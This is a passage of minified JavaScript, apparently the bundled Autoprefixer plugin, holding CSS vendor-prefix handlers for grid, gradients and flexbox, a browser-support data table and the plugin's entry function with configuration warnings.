super.insert(e,t,i);let n=ul.parse(e),[s,a]=ul.translate(n,0,1);n[0]&&n[0].includes("span")&&(a=n[0].join("").replace(/\D/g,"")),[[e.prop,s],[`${e.prop}-span`,a]].forEach(([u,c])=>{ul.insertDecl(e,u,c)})}};fl.names=["grid-row","grid-column"];py.exports=fl});var gy=v((BD,my)=>{l();var p_=I(),{prefixTrackProp:hy,prefixTrackValue:d_,autoplaceGridItems:h_,getGridGap:m_,inheritGridGap:g_}=ot(),y_=To(),cl=class extends p_{prefixed(e,t){return t==="-ms-"?hy({prop:e,prefix:t}):super.prefixed(e,t)}normalize(e){return e.replace(/^grid-(rows|columns)/,"grid-template-$1")}insert(e,t,i,n){if(t!=="-ms-")return super.insert(e,t,i);let{parent:s,prop:a,value:o}=e,u=a.includes("rows"),c=a.includes("columns"),f=s.some(x=>x.prop==="grid-template"||x.prop==="grid-template-areas");if(f&&u)return!1;let p=new y_({options:{}}),h=p.gridStatus(s,n),d=m_(e);d=g_(e,d)||d;let y=u?d.row:d.column;(h==="no-autoplace"||h===!0)&&!f&&(y=null);let k=d_({value:o,gap:y});e.cloneBefore({prop:hy({prop:a,prefix:t}),value:k});let w=s.nodes.find(x=>x.prop==="grid-auto-flow"),b="row";if(w&&!p.disabled(w,n)&&(b=w.value.trim()),h==="autoplace"){let x=s.nodes.find(_=>_.prop==="grid-template-rows");if(!x&&f)return;if(!x&&!f){e.warn(n,"Autoplacement does not work without grid-template-rows property");return}!s.nodes.find(_=>_.prop==="grid-template-columns")&&!f&&e.warn(n,"Autoplacement does not work without grid-template-columns property"),c&&!f&&h_(e,n,d,b)}}};cl.names=["grid-template-rows","grid-template-columns","grid-rows","grid-columns"];my.exports=cl});var wy=v(($D,yy)=>{l();var w_=I(),pl=class extends w_{check(e){return!e.value.includes("flex-")&&e.value!=="baseline"}prefixed(e,t){return t+"grid-column-align"}normalize(){return"justify-self"}};pl.names=["grid-column-align"];yy.exports=pl});var vy=v((zD,by)=>{l();var b_=I(),dl=class extends b_{prefixed(e,t){return t+"scroll-chaining"}normalize(){return"overscroll-behavior"}set(e,t){return e.value==="auto"?e.value="chained":(e.value==="none"||e.value==="contain")&&(e.value="none"),super.set(e,t)}};dl.names=["overscroll-behavior","scroll-chaining"];by.exports=dl});var Sy=v((jD,ky)=>{l();var v_=I(),{parseGridAreas:x_,warnMissedAreas:k_,prefixTrackProp:S_,prefixTrackValue:xy,getGridGap:C_,warnGridGap:__,inheritGridGap:A_}=ot();function O_(r){return r.trim().slice(1,-1).split(/["']\s*["']?/g)}var hl=class extends v_{insert(e,t,i,n){if(t!=="-ms-")return super.insert(e,t,i);let s=!1,a=!1,o=e.parent,u=C_(e);u=A_(e,u)||u,o.walkDecls(/-ms-grid-rows/,p=>p.remove()),o.walkDecls(/grid-template-(rows|columns)/,p=>{if(p.prop==="grid-template-rows"){a=!0;let{prop:h,value:d}=p;p.cloneBefore({prop:S_({prop:h,prefix:t}),value:xy({value:d,gap:u.row})})}else s=!0});let c=O_(e.value);s&&!a&&u.row&&c.length>1&&e.cloneBefore({prop:"-ms-grid-rows",value:xy({value:`repeat(${c.length}, auto)`,gap:u.row}),raws:{}}),__({gap:u,hasColumns:s,decl:e,result:n});let f=x_({rows:c,gap:u});return k_(f,e,n),e}};hl.names=["grid-template-areas"];ky.exports=hl});var _y=v((VD,Cy)=>{l();var E_=I(),ml=class extends E_{set(e,t){return t==="-webkit-"&&(e.value=e.value.replace(/\s*(right|left)\s*/i,"")),super.set(e,t)}};ml.names=["text-emphasis-position"];Cy.exports=ml});var Oy=v((UD,Ay)=>{l();var T_=I(),gl=class extends T_{set(e,t){return e.prop==="text-decoration-skip-ink"&&e.value==="auto"?(e.prop=t+"text-decoration-skip",e.value="ink",e):super.set(e,t)}};gl.names=["text-decoration-skip-ink","text-decoration-skip"];Ay.exports=gl});var Iy=v((WD,qy)=>{l();"use strict";qy.exports={wrap:Ey,limit:Ty,validate:Py,test:yl,curry:P_,name:Dy};function Ey(r,e,t){var i=e-r;return((t-r)%i+i)%i+r}function Ty(r,e,t){return Math.max(r,Math.min(e,t))}function Py(r,e,t,i,n){if(!yl(r,e,t,i,n))throw new Error(t+" is outside of range ["+r+","+e+")");return t}function yl(r,e,t,i,n){return!(t<r||t>e||n&&t===e||i&&t===r)}function Dy(r,e,t,i){return(t?"(":"[")+r+","+e+(i?")":"]")}function P_(r,e,t,i){var n=Dy.bind(null,r,e,t,i);return{wrap:Ey.bind(null,r,e),limit:Ty.bind(null,r,e),validate:function(s){return Py(r,e,s,t,i)},test:function(s){return yl(r,e,s,t,i)},toString:n,name:n}}});var Fy=v((GD,My)=>{l();var wl=Kr(),D_=Iy(),q_=$t(),I_=ke(),R_=ne(),Ry=/top|left|right|bottom/gi,Ue=class extends I_{replace(e,t){let i=wl(e);for(let n of i.nodes)if(n.type==="function"&&n.value===this.name)if(n.nodes=this.newDirection(n.nodes),n.nodes=this.normalize(n.nodes),t==="-webkit- old"){if(!this.oldWebkit(n))return!1}else n.nodes=this.convertDirection(n.nodes),n.value=t+n.value;return i.toString()}replaceFirst(e,...t){return t.map(n=>n===" "?{type:"space",value:n}:{type:"word",value:n}).concat(e.slice(1))}normalizeUnit(e,t){return`${parseFloat(e)/t*360}deg`}normalize(e){if(!e[0])return e;if(/-?\d+(.\d+)?grad/.test(e[0].value))e[0].value=this.normalizeUnit(e[0].value,400);else if(/-?\d+(.\d+)?rad/.test(e[0].value))e[0].value=this.normalizeUnit(e[0].value,2*Math.PI);else if(/-?\d+(.\d+)?turn/.test(e[0].value))e[0].value=this.normalizeUnit(e[0].value,1);else if(e[0].value.includes("deg")){let t=parseFloat(e[0].value);t=D_.wrap(0,360,t),e[0].value=`${t}deg`}return e[0].value==="0deg"?e=this.replaceFirst(e,"to"," ","top"):e[0].value==="90deg"?e=this.replaceFirst(e,"to"," ","right"):e[0].value==="180deg"?e=this.replaceFirst(e,"to"," ","bottom"):e[0].value==="270deg"&&(e=this.replaceFirst(e,"to"," ","left")),e}newDirection(e){if(e[0].value==="to"||(Ry.lastIndex=0,!Ry.test(e[0].value)))return e;e.unshift({type:"word",value:"to"},{type:"space",value:" "});for(let t=2;t<e.length&&e[t].type!=="div";t++)e[t].type==="word"&&(e[t].value=this.revertDirection(e[t].value));return e}isRadial(e){let t="before";for(let i of e)if(t==="before"&&i.type==="space")t="at";else if(t==="at"&&i.value==="at")t="after";else{if(t==="after"&&i.type==="space")return!0;if(i.type==="div")break;t="before"}return!1}convertDirection(e){return e.length>0&&(e[0].value==="to"?this.fixDirection(e):e[0].value.includes("deg")?this.fixAngle(e):this.isRadial(e)&&this.fixRadial(e)),e}fixDirection(e){e.splice(0,2);for(let t of e){if(t.type==="div")break;t.type==="word"&&(t.value=this.revertDirection(t.value))}}fixAngle(e){let t=e[0].value;t=parseFloat(t),t=Math.abs(450-t)%360,t=this.roundFloat(t,3),e[0].value=`${t}deg`}fixRadial(e){let t=[],i=[],n,s,a,o,u;for(o=0;o<e.length-2;o++)if(n=e[o],s=e[o+1],a=e[o+2],n.type==="space"&&s.value==="at"&&a.type==="space"){u=o+3;break}else t.push(n);let c;for(o=u;o<e.length;o++)if(e[o].type==="div"){c=e[o];break}else i.push(e[o]);e.splice(0,o,...i,c,...t)}revertDirection(e){return Ue.directions[e.toLowerCase()]||e}roundFloat(e,t){return parseFloat(e.toFixed(t))}oldWebkit(e){let{nodes:t}=e,i=wl.stringify(e.nodes);if(this.name!=="linear-gradient"||t[0]&&t[0].value.includes("deg")||i.includes("px")||i.includes("-corner")||i.includes("-side"))return!1;let n=[[]];for(let s of t)n[n.length-1].push(s),s.type==="div"&&s.value===","&&n.push([]);this.oldDirection(n),this.colorStops(n),e.nodes=[];for(let s of n)e.nodes=e.nodes.concat(s);return e.nodes.unshift({type:"word",value:"linear"},this.cloneDiv(e.nodes)),e.value="-webkit-gradient",!0}oldDirection(e){let t=this.cloneDiv(e[0]);if(e[0][0].value!=="to")return e.unshift([{type:"word",value:Ue.oldDirections.bottom},t]);{let i=[];for(let s of e[0].slice(2))s.type==="word"&&i.push(s.value.toLowerCase());i=i.join(" ");let n=Ue.oldDirections[i]||i;return e[0]=[{type:"word",value:n},t],e[0]}}cloneDiv(e){for(let t of e)if(t.type==="div"&&t.value===",")return t;return{type:"div",value:",",after:" "}}colorStops(e){let t=[];for(let i=0;i<e.length;i++){let n,s=e[i],a;if(i===0)continue;let o=wl.stringify(s[0]);s[1]&&s[1].type==="word"?n=s[1].value:s[2]&&s[2].type==="word"&&(n=s[2].value);let u;i===1&&(!n||n==="0%")?u=`from(${o})`:i===e.length-1&&(!n||n==="100%")?u=`to(${o})`:n?u=`color-stop(${n}, ${o})`:u=`color-stop(${o})`;let c=s[s.length-1];e[i]=[{type:"word",value:u}],c.type==="div"&&c.value===","&&(a=e[i].push(c)),t.push(a)}return t}old(e){if(e==="-webkit-"){let t=this.name==="linear-gradient"?"linear":"radial",i="-gradient",n=R_.regexp(`-webkit-(${t}-gradient|gradient\\(\\s*${t})`,!1);return new q_(this.name,e+this.name,i,n)}else return super.old(e)}add(e,t){let i=e.prop;if(i.includes("mask")){if(t==="-webkit-"||t==="-webkit- old")return super.add(e,t)}else if(i==="list-style"||i==="list-style-image"||i==="content"){if(t==="-webkit-"||t==="-webkit- old")return super.add(e,t)}else return super.add(e,t)}};Ue.names=["linear-gradient","repeating-linear-gradient","radial-gradient","repeating-radial-gradient"];Ue.directions={top:"bottom",left:"right",bottom:"top",right:"left"};Ue.oldDirections={top:"left bottom, left top",left:"right top, left top",bottom:"left top, left bottom",right:"left top, right top","top right":"left bottom, right top","top left":"right bottom, left top","right top":"left bottom, right top","right bottom":"left top, right bottom","bottom right":"left top, right bottom","bottom left":"right top, left bottom","left top":"right bottom, left top","left bottom":"right top, left bottom"};My.exports=Ue});var By=v((HD,Ly)=>{l();var M_=$t(),F_=ke();function Ny(r){return new RegExp(`(^|[\\s,(])(${r}($|[\\s),]))`,"gi")}var bl=class extends F_{regexp(){return this.regexpCache||(this.regexpCache=Ny(this.name)),this.regexpCache}isStretch(){return this.name==="stretch"||this.name==="fill"||this.name==="fill-available"}replace(e,t){return t==="-moz-"&&this.isStretch()?e.replace(this.regexp(),"$1-moz-available$3"):t==="-webkit-"&&this.isStretch()?e.replace(this.regexp(),"$1-webkit-fill-available$3"):super.replace(e,t)}old(e){let t=e+this.name;return this.isStretch()&&(e==="-moz-"?t="-moz-available":e==="-webkit-"&&(t="-webkit-fill-available")),new M_(this.name,t,t,Ny(t))}add(e,t){if(!(e.prop.includes("grid")&&t!=="-webkit-"))return super.add(e,t)}};bl.names=["max-content","min-content","fit-content","fill","fill-available","stretch"];Ly.exports=bl});var jy=v((YD,zy)=>{l();var $y=$t(),N_=ke(),vl=class extends N_{replace(e,t){return t==="-webkit-"?e.replace(this.regexp(),"$1-webkit-optimize-contrast"):t==="-moz-"?e.replace(this.regexp(),"$1-moz-crisp-edges"):super.replace(e,t)}old(e){return e==="-webkit-"?new $y(this.name,"-webkit-optimize-contrast"):e==="-moz-"?new $y(this.name,"-moz-crisp-edges"):super.old(e)}};vl.names=["pixelated"];zy.exports=vl});var Uy=v((QD,Vy)=>{l();var L_=ke(),xl=class extends L_{replace(e,t){let i=super.replace(e,t);return t==="-webkit-"&&(i=i.replace(/("[^"]+"|'[^']+')(\s+\d+\w)/gi,"url($1)$2")),i}};xl.names=["image-set"];Vy.exports=xl});var Gy=v((JD,Wy)=>{l();var B_=me().list,$_=ke(),kl=class extends $_{replace(e,t){return B_.space(e).map(i=>{if(i.slice(0,+this.name.length+1)!==this.name+"(")return i;let n=i.lastIndexOf(")"),s=i.slice(n+1),a=i.slice(this.name.length+1,n);if(t==="-webkit-"){let o=a.match(/\d*.?\d+%?/);o?(a=a.slice(o[0].length).trim(),a+=`, ${o[0]}`):a+=", 0.5"}return t+this.name+"("+a+")"+s}).join(" ")}};kl.names=["cross-fade"];Wy.exports=kl});var Yy=v((XD,Hy)=>{l();var z_=fe(),j_=$t(),V_=ke(),Sl=class extends V_{constructor(e,t){super(e,t);e==="display-flex"&&(this.name="flex")}check(e){return e.prop==="display"&&e.value===this.name}prefixed(e){let t,i;return[t,e]=z_(e),t===2009?this.name==="flex"?i="box":i="inline-box":t===2012?this.name==="flex"?i="flexbox":i="inline-flexbox":t==="final"&&(i=this.name),e+i}replace(e,t){return this.prefixed(t)}old(e){let t=this.prefixed(e);if(!!t)return new j_(this.name,t)}};Sl.names=["display-flex","inline-flex"];Hy.exports=Sl});var Jy=v((KD,Qy)=>{l();var U_=ke(),Cl=class extends U_{constructor(e,t){super(e,t);e==="display-grid"&&(this.name="grid")}check(e){return e.prop==="display"&&e.value===this.name}};Cl.names=["display-grid","inline-grid"];Qy.exports=Cl});var Ky=v((ZD,Xy)=>{l();var W_=ke(),_l=class extends W_{constructor(e,t){super(e,t);e==="filter-function"&&(this.name="filter")}};_l.names=["filter","filter-function"];Xy.exports=_l});var rw=v((eq,tw)=>{l();var Zy=ei(),R=I(),ew=Yh(),G_=Zh(),H_=To(),Y_=wm(),Al=at(),Jt=zt(),Q_=Am(),Ne=ke(),Xt=ne(),J_=Em(),X_=Pm(),K_=qm(),Z_=Rm(),eA=Bm(),tA=jm(),rA=Um(),iA=Gm(),nA=Ym(),sA=Jm(),aA=Km(),oA=eg(),lA=rg(),uA=ng(),fA=ag(),cA=ug(),pA=cg(),dA=hg(),hA=gg(),mA=wg(),gA=xg(),yA=Sg(),wA=Ag(),bA=Eg(),vA=Pg(),xA=qg(),kA=Rg(),SA=Ng(),CA=Bg(),_A=zg(),AA=Vg(),OA=Wg(),EA=Hg(),TA=Qg(),PA=Kg(),DA=ey(),qA=ry(),IA=ny(),RA=ay(),MA=uy(),FA=cy(),NA=dy(),LA=gy(),BA=wy(),$A=vy(),zA=Sy(),jA=_y(),VA=Oy(),UA=Fy(),WA=By(),GA=jy(),HA=Uy(),YA=Gy(),QA=Yy(),JA=Jy(),XA=Ky();Jt.hack(J_);Jt.hack(X_);Jt.hack(K_);Jt.hack(Z_);R.hack(eA);R.hack(tA);R.hack(rA);R.hack(iA);R.hack(nA);R.hack(sA);R.hack(aA);R.hack(oA);R.hack(lA);R.hack(uA);R.hack(fA);R.hack(cA);R.hack(pA);R.hack(dA);R.hack(hA);R.hack(mA);R.hack(gA);R.hack(yA);R.hack(wA);R.hack(bA);R.hack(vA);R.hack(xA);R.hack(kA);R.hack(SA);R.hack(CA);R.hack(_A);R.hack(AA);R.hack(OA);R.hack(EA);R.hack(TA);R.hack(PA);R.hack(DA);R.hack(qA);R.hack(IA);R.hack(RA);R.hack(MA);R.hack(FA);R.hack(NA);R.hack(LA);R.hack(BA);R.hack($A);R.hack(zA);R.hack(jA);R.hack(VA);Ne.hack(UA);Ne.hack(WA);Ne.hack(GA);Ne.hack(HA);Ne.hack(YA);Ne.hack(QA);Ne.hack(JA);Ne.hack(XA);var Ol=new Map,ri=class{constructor(e,t,i={}){this.data=e,this.browsers=t,this.options=i,[this.add,this.remove]=this.preprocess(this.select(this.data)),this.transition=new G_(this),this.processor=new H_(this)}cleaner(){if(this.cleanerCache)return this.cleanerCache;if(this.browsers.selected.length){let e=new Al(this.browsers.data,[]);this.cleanerCache=new ri(this.data,e,this.options)}else return this;return this.cleanerCache}select(e){let t={add:{},remove:{}};for(let i in e){let n=e[i],s=n.browsers.map(u=>{let c=u.split(" ");return{browser:`${c[0]} ${c[1]}`,note:c[2]}}),a=s.filter(u=>u.note).map(u=>`${this.browsers.prefix(u.browser)} ${u.note}`);a=Xt.uniq(a),s=s.filter(u=>this.browsers.isSelected(u.browser)).map(u=>{let c=this.browsers.prefix(u.browser);return u.note?`${c} ${u.note}`:c}),s=this.sort(Xt.uniq(s)),this.options.flexbox==="no-2009"&&(s=s.filter(u=>!u.includes("2009")));let o=n.browsers.map(u=>this.browsers.prefix(u));n.mistakes&&(o=o.concat(n.mistakes)),o=o.concat(a),o=Xt.uniq(o),s.length?(t.add[i]=s,s.length<o.length&&(t.remove[i]=o.filter(u=>!s.includes(u)))):t.remove[i]=o}return t}sort(e){return e.sort((t,i)=>{let n=Xt.removeNote(t).length,s=Xt.removeNote(i).length;return n===s?i.length-t.length:s-n})}preprocess(e){let t={selectors:[],"@supports":new Y_(ri,this)};for(let n in e.add){let s=e.add[n];if(n==="@keyframes"||n==="@viewport")t[n]=new Q_(n,s,this);else if(n==="@resolution")t[n]=new ew(n,s,this);else if(this.data[n].selector)t.selectors.push(Jt.load(n,s,this));else{let a=this.data[n].props;if(a){let o=Ne.load(n,s,this);for(let u of a)t[u]||(t[u]={values:[]}),t[u].values.push(o)}else{let o=t[n]&&t[n].values||[];t[n]=R.load(n,s,this),t[n].values=o}}}let i={selectors:[]};for(let n in e.remove){let s=e.remove[n];if(this.data[n].selector){let a=Jt.load(n,s);for(let o of s)i.selectors.push(a.old(o))}else if(n==="@keyframes"||n==="@viewport")for(let a of s){let o=`@${a}${n.slice(1)}`;i[o]={remove:!0}}else if(n==="@resolution")i[n]=new ew(n,s,this);else{let a=this.data[n].props;if(a){let o=Ne.load(n,[],this);for(let u of s){let c=o.old(u);if(c)for(let f of a)i[f]||(i[f]={}),i[f].values||(i[f].values=[]),i[f].values.push(c)}}else for(let o of s){let u=this.decl(n).old(n,o);if(n==="align-self"){let c=t[n]&&t[n].prefixes;if(c){if(o==="-webkit- 2009"&&c.includes("-webkit-"))continue;if(o==="-webkit-"&&c.includes("-webkit- 2009"))continue}}for(let c of u)i[c]||(i[c]={}),i[c].remove=!0}}}return[t,i]}decl(e){return Ol.has(e)||Ol.set(e,R.load(e)),Ol.get(e)}unprefixed(e){let t=this.normalize(Zy.unprefixed(e));return t==="flex-direction"&&(t="flex-flow"),t}normalize(e){return this.decl(e).normalize(e)}prefixed(e,t){return e=Zy.unprefixed(e),this.decl(e).prefixed(e,t)}values(e,t){let i=this[e],n=i["*"]&&i["*"].values,s=i[t]&&i[t].values;return n&&s?Xt.uniq(n.concat(s)):n||s||[]}group(e){let t=e.parent,i=t.index(e),{length:n}=t.nodes,s=this.unprefixed(e.prop),a=(o,u)=>{for(i+=o;i>=0&&i<n;){let c=t.nodes[i];if(c.type==="decl"){if(o===-1&&c.prop===s&&!Al.withPrefix(c.value)||this.unprefixed(c.prop)!==s)break;if(u(c)===!0)return!0;if(o===1&&c.prop===s&&!Al.withPrefix(c.value))break}i+=o}return!1};return{up(o){return a(-1,o)},down(o){return a(1,o)}}}};tw.exports=ri});var nw=v((tq,iw)=>{l();iw.exports={"backface-visibility":{mistakes:["-ms-","-o-"],feature:"transforms3d",browsers:["ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1"]},"backdrop-filter":{feature:"css-backdrop-filter",browsers:["ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1"]},element:{props:["background","background-image","border-image","mask","list-style","list-style-image","content","mask-image"],feature:"css-element-function",browsers:["firefox 89"]},"user-select":{mistakes:["-khtml-"],feature:"user-select-none",browsers:["ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1"]},"background-clip":{feature:"background-clip-text",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},hyphens:{feature:"css-hyphens",browsers:["ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1"]},":fullscreen":{selector:!0,feature:"fullscreen",browsers:["and_chr 92","and_uc 12.12","safari 14.1"]},"::backdrop":{selector:!0,feature:"fullscreen",browsers:["and_chr 92","and_uc 12.12","safari 14.1"]},"::file-selector-button":{selector:!0,feature:"fullscreen",browsers:["safari 14.1"]},"tab-size":{feature:"css3-tabsize",browsers:["firefox 89"]},fill:{props:["width","min-width","max-width","height","min-height","max-height","inline-size","min-inline-size","max-inline-size","block-size","min-block-size","max-block-size","grid","grid-template","grid-template-rows","grid-template-columns","grid-auto-columns","grid-auto-rows"],feature:"intrinsic-width",browsers:["and_chr 92","chrome 91","chrome 92","edge 91","samsung 14.0"]},"fill-available":{props:["width","min-width","max-width","height","min-height","max-height","inline-size","min-inline-size","max-inline-size","block-size","min-block-size","max-block-size","grid","grid-template","grid-template-rows","grid-template-columns","grid-auto-columns","grid-auto-rows"],feature:"intrinsic-width",browsers:["and_chr 92","chrome 91","chrome 92","edge 91","samsung 14.0"]},stretch:{props:["width","min-width","max-width","height","min-height","max-height","inline-size","min-inline-size","max-inline-size","block-size","min-block-size","max-block-size","grid","grid-template","grid-template-rows","grid-template-columns","grid-auto-columns","grid-auto-rows"],feature:"intrinsic-width",browsers:["firefox 89"]},"fit-content":{props:["width","min-width","max-width","height","min-height","max-height","inline-size","min-inline-size","max-inline-size","block-size","min-block-size","max-block-size","grid","grid-template","grid-template-rows","grid-template-columns","grid-auto-columns","grid-auto-rows"],feature:"intrinsic-width",browsers:["firefox 89"]},"text-decoration-style":{feature:"text-decoration",browsers:["ios_saf 14.0-14.4","ios_saf 14.5-14.7"]},"text-decoration-color":{feature:"text-decoration",browsers:["ios_saf 14.0-14.4","ios_saf 14.5-14.7"]},"text-decoration-line":{feature:"text-decoration",browsers:["ios_saf 14.0-14.4","ios_saf 14.5-14.7"]},"text-decoration":{feature:"text-decoration",browsers:["ios_saf 14.0-14.4","ios_saf 14.5-14.7"]},"text-decoration-skip":{feature:"text-decoration",browsers:["ios_saf 14.0-14.4","ios_saf 14.5-14.7"]},"text-decoration-skip-ink":{feature:"text-decoration",browsers:["ios_saf 14.0-14.4","ios_saf 14.5-14.7"]},"text-size-adjust":{feature:"text-size-adjust",browsers:["ios_saf 14.0-14.4","ios_saf 14.5-14.7"]},"mask-clip":{feature:"css-masks",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},"mask-composite":{feature:"css-masks",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},"mask-image":{feature:"css-masks",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},"mask-origin":{feature:"css-masks",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},"mask-repeat":{feature:"css-masks",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},"mask-border-repeat":{feature:"css-masks",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},"mask-border-source":{feature:"css-masks",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},mask:{feature:"css-masks",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},"mask-position":{feature:"css-masks",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},"mask-size":{feature:"css-masks",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},"mask-border":{feature:"css-masks",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},"mask-border-outset":{feature:"css-masks",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},"mask-border-width":{feature:"css-masks",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},"mask-border-slice":{feature:"css-masks",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},"clip-path":{feature:"css-clip-path",browsers:["and_uc 12.12","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},"box-decoration-break":{feature:"css-boxdecorationbreak",browsers:["and_chr 92","chrome 91","chrome 92","edge 91","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},"@resolution":{feature:"css-media-resolution",browsers:["ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1"]},"border-inline-start":{feature:"css-logical-props",browsers:["and_uc 12.12"]},"border-inline-end":{feature:"css-logical-props",browsers:["and_uc 12.12"]},"margin-inline-start":{feature:"css-logical-props",browsers:["and_uc 12.12"]},"margin-inline-end":{feature:"css-logical-props",browsers:["and_uc 12.12"]},"padding-inline-start":{feature:"css-logical-props",browsers:["and_uc 12.12"]},"padding-inline-end":{feature:"css-logical-props",browsers:["and_uc 12.12"]},"border-block-start":{feature:"css-logical-props",browsers:["and_uc 12.12"]},"border-block-end":{feature:"css-logical-props",browsers:["and_uc 12.12"]},"margin-block-start":{feature:"css-logical-props",browsers:["and_uc 12.12"]},"margin-block-end":{feature:"css-logical-props",browsers:["and_uc 12.12"]},"padding-block-start":{feature:"css-logical-props",browsers:["and_uc 12.12"]},"padding-block-end":{feature:"css-logical-props",browsers:["and_uc 12.12"]},appearance:{feature:"css-appearance",browsers:["and_uc 12.12","ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1","samsung 14.0"]},"image-set":{props:["background","background-image","border-image","cursor","mask","mask-image","list-style","list-style-image","content"],feature:"css-image-set",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","samsung 14.0"]},"cross-fade":{props:["background","background-image","border-image","mask","list-style","list-style-image","content","mask-image"],feature:"css-cross-fade",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","samsung 14.0"]},"text-emphasis":{feature:"text-emphasis",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","samsung 14.0"]},"text-emphasis-position":{feature:"text-emphasis",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","samsung 14.0"]},"text-emphasis-style":{feature:"text-emphasis",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","samsung 14.0"]},"text-emphasis-color":{feature:"text-emphasis",browsers:["and_chr 92","and_uc 12.12","chrome 91","chrome 92","edge 91","samsung 14.0"]},":any-link":{selector:!0,feature:"css-any-link",browsers:["and_uc 12.12"]},isolate:{props:["unicode-bidi"],feature:"css-unicode-bidi",browsers:["ios_saf 14.0-14.4","ios_saf 14.5-14.7","safari 14.1"]},"color-adjust":{feature:"css-color-adjust",browsers:["chrome 91","chrome 92","edge 91","safari 14.1"]}}});var aw=v((rq,sw)=>{l();sw.exports={}});var fw=v((iq,uw)=>{l();var KA=Co(),{agents:ZA}=(In(),qn),El=Rh(),eO=at(),tO=rw(),rO=nw(),iO=aw(),ow={browsers:ZA,prefixes:rO},lw=` Replace Autoprefixer \`browsers\` option to Browserslist config. Use \`browserslist\` key in \`package.json\` or \`.browserslistrc\` file. Using \`browsers\` option can cause errors. Browserslist config can be used for Babel, Autoprefixer, postcss-normalize and other tools. If you really need to use option, rename it to \`overrideBrowserslist\`. Learn more at: https://github.com/browserslist/browserslist#readme https://twitter.com/browserslist `;function nO(r){return Object.prototype.toString.apply(r)==="[object Object]"}var Tl=new Map;function sO(r,e){e.browsers.selected.length!==0&&(e.add.selectors.length>0||Object.keys(e.add).length>2||r.warn(`Autoprefixer target browsers do not need any prefixes.You do not need Autoprefixer anymore. Check your Browserslist config to be sure that your targets are set up correctly. Learn more at: https://github.com/postcss/autoprefixer#readme https://github.com/browserslist/browserslist#readme `))}uw.exports=Kt;function Kt(...r){let e;if(r.length===1&&nO(r[0])?(e=r[0],r=void 0):r.length===0||r.length===1&&!r[0]?r=void 0:r.length<=2&&(Array.isArray(r[0])||!r[0])?(e=r[1],r=r[0]):typeof r[r.length-1]=="object"&&(e=r.pop()),e||(e={}),e.browser)throw new Error("Change `browser` option to `overrideBrowserslist` in Autoprefixer");if(e.browserslist)throw new Error("Change `browserslist` option to `overrideBrowserslist` in Autoprefixer");e.overrideBrowserslist?r=e.overrideBrowserslist:e.browsers&&(typeof console!="undefined"&&console.warn&&(El.red?console.warn(El.red(lw.replace(/`[^`]+`/g,n=>El.yellow(n.slice(1,-1))))):console.warn(lw)),r=e.browsers);let t={ignoreUnknownVersions:e.ignoreUnknownVersions,stats:e.stats,env:e.env};function i(n){let s=ow,a=new eO(s.browsers,r,n,t),o=a.selected.join(", ")+JSON.stringify(e);return Tl.has(o)||Tl.set(o,new tO(s.prefixes,a,e)),Tl.get(o)}return{postcssPlugin:"autoprefixer",prepare(n){let s=i({from:n.opts.from,env:e.env});return{OnceExit(a){sO(n,s),e.remove!==!1&&s.processor.remove(a,n),e.add!==!1&&s.processor.add(a,n)}}},info(n){return n=n||{},n.from=n.from||m.cwd(),iO(i(n))},options:e,browsers:r}}Kt.postcss=!0;Kt.data=ow;Kt.defaults=KA.defaults;Kt.info=()=>Kt().info()});var cw={};Ce(cw,{default:()=>aO});var aO,pw=A(()=>{l();aO=[]});var hw={};Ce(hw,{default:()=>oO});var 